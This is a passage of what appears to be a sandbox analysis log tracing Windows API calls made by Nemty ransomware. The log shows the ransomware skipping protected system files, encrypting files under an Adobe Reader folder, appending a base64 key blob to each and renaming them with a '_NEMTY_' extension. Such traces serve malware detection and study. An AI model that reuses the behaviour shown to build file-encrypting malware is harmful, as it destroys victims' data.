(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0176.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0176.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0176.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0176.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0176.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0176.660] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\makeaccessible.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\makeaccessible.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\makeaccessible.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\makeaccessible.suo._nemty_kgobjgd_")) returned 1 [0176.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0176.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.661] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.SUO", cAlternateFileName="MULTIM~1.SUO")) returned 1 [0176.661] lstrcmpiW (lpString1="Multimedia.SUO", lpString2=".") returned 1 [0176.661] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="..") returned 1 [0176.661] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="...") returned 1 [0176.661] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="windows") returned -1 [0176.661] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.661] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="rsa") returned -1 [0176.661] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="NTDETECT.COM") returned -1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="ntldr") returned -1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="MSDOS.SYS") returned 1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="IO.SYS") returned 1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="boot.ini") returned 1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="boot.ini") returned 1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="ntuser.dat") returned -1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="desktop.ini") returned 1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="CONFIG.SYS") returned 1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="RECYCLER") returned -1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="bootmgr") returned 1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="programdata") returned -1 [0176.662] lstrcmpiW (lpString1="Multimedia.SUO", lpString2="appdata") returned 1 [0176.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SUO", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SUO", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SUO", lpUsedDefaultChar=0x0) returned 14 [0176.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SUO", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SUO", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SUO", lpUsedDefaultChar=0x0) returned 14 [0176.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SUO", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SUO", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SUO", lpUsedDefaultChar=0x0) returned 14 [0176.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SUO", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SUO", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SUO", lpUsedDefaultChar=0x0) returned 14 [0176.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.662] Sleep (dwMilliseconds=0x5) [0176.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cf2f890, dwHighDateTime=0x1d561e8)) [0176.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cf2f890, dwHighDateTime=0x1d561e8)) [0176.668] GetLastError () returned 0x0 [0176.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.668] GetLastError () returned 0x0 [0176.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.668] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.668] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.668] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.668] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="6M4ZTVLvMgivOfKMupiMWt2lAr8/bR+UrZcDju1OCPQkqUtEE6DLBm/UfIgApi+q\r\njWhLjr3eX4fVdKVyKOmbL4wNwmctJ/a2dpgM5YxXFMJXG8JvT88VaWGJzTFJnqUh\r\npNodbh42QctZvmHQE71jWqbTV3951zBDOjO39gsimJAY+I2yLv71MtGsjzfnCtz6\r\n2wPrdP0zBL9RQzPn4rFGgJgxrC4m7juxrVbSRRwfuWTxV76FHmceD2uZ9iUTZrlB\r\nRl2M/dPvB53b/3K8QZmkrJz8NgYQ4Nq/hT2TxD2zc4C8/GeRUXzlmvC+jVYZEaWw\r\ntXoxBhpomoqXmjnkcZXEtQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.669] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Multimedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\multimedia.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.669] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=76800) returned 1 [0176.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12c00) returned 0x6352c48 [0176.669] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.669] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12c00, lpOverlapped=0x0) returned 1 [0176.676] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.676] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12c00, lpOverlapped=0x0) returned 1 [0176.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.676] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=76800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12c00 [0176.676] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.676] CloseHandle (hObject=0x2e8) returned 1 [0176.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.677] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Multimedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\multimedia.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Multimedia.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\multimedia.suo._nemty_kgobjgd_")) returned 1 [0176.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.677] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.SUO", cAlternateFileName="")) returned 1 [0176.677] lstrcmpiW (lpString1="pddom.SUO", lpString2=".") returned 1 [0176.677] lstrcmpiW (lpString1="pddom.SUO", lpString2="..") returned 1 [0176.677] lstrcmpiW (lpString1="pddom.SUO", lpString2="...") returned 1 [0176.677] lstrcmpiW (lpString1="pddom.SUO", lpString2="windows") returned -1 [0176.677] lstrcmpiW (lpString1="pddom.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="rsa") returned -1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="NTDETECT.COM") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="ntldr") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="MSDOS.SYS") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="IO.SYS") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="boot.ini") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="boot.ini") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="ntuser.dat") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="desktop.ini") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="CONFIG.SYS") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="RECYCLER") returned -1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="bootmgr") returned 1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="programdata") returned -1 [0176.678] lstrcmpiW (lpString1="pddom.SUO", lpString2="appdata") returned 1 [0176.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SUO", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SUO", lpUsedDefaultChar=0x0) returned 9 [0176.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SUO", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SUO", lpUsedDefaultChar=0x0) returned 9 [0176.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SUO", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SUO", lpUsedDefaultChar=0x0) returned 9 [0176.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SUO", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SUO", lpUsedDefaultChar=0x0) returned 9 [0176.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.679] Sleep (dwMilliseconds=0x5) [0176.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cf559f0, dwHighDateTime=0x1d561e8)) [0176.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cf559f0, dwHighDateTime=0x1d561e8)) [0176.683] GetLastError () returned 0x0 [0176.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.683] GetLastError () returned 0x0 [0176.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.684] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.684] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.684] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.684] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="jPe6JCKvumm+DFnlyx18bDwPRif/sU5EZnRmMfVkYnv81XepohYT5iezRDxm6rmK\r\n52b/KxqUMUwpJiZqPKTE4QNp8V5pKsg5tUeaPaqFS3+PCSdcVZ9C8W6gZ96lrw4p\r\nmroHJn6KrjwRni/wk14viwE2mJ2CClvYdCWVVW9bCc5mmkGutv9qc3JftCOFDH5W\r\nhqcP5kxfeD2JHlXTSrlmzQXAlY6SuuE4KAhhr+c4pDovcu3ztsFLk0jFJi6jCPos\r\nFjEQrxEOtLv+hMDccHbvrXzS2F7mxp+RlGQif7C7ClZyk8nUN3idSaWKi08P9aHi\r\n2NZ3ED4AKHsN+AJcshodsw==\r\n", pcchString=0x653e5dc) returned 1 [0176.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\pddom.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\pddom.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.684] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0176.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0176.684] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.684] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0176.687] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | 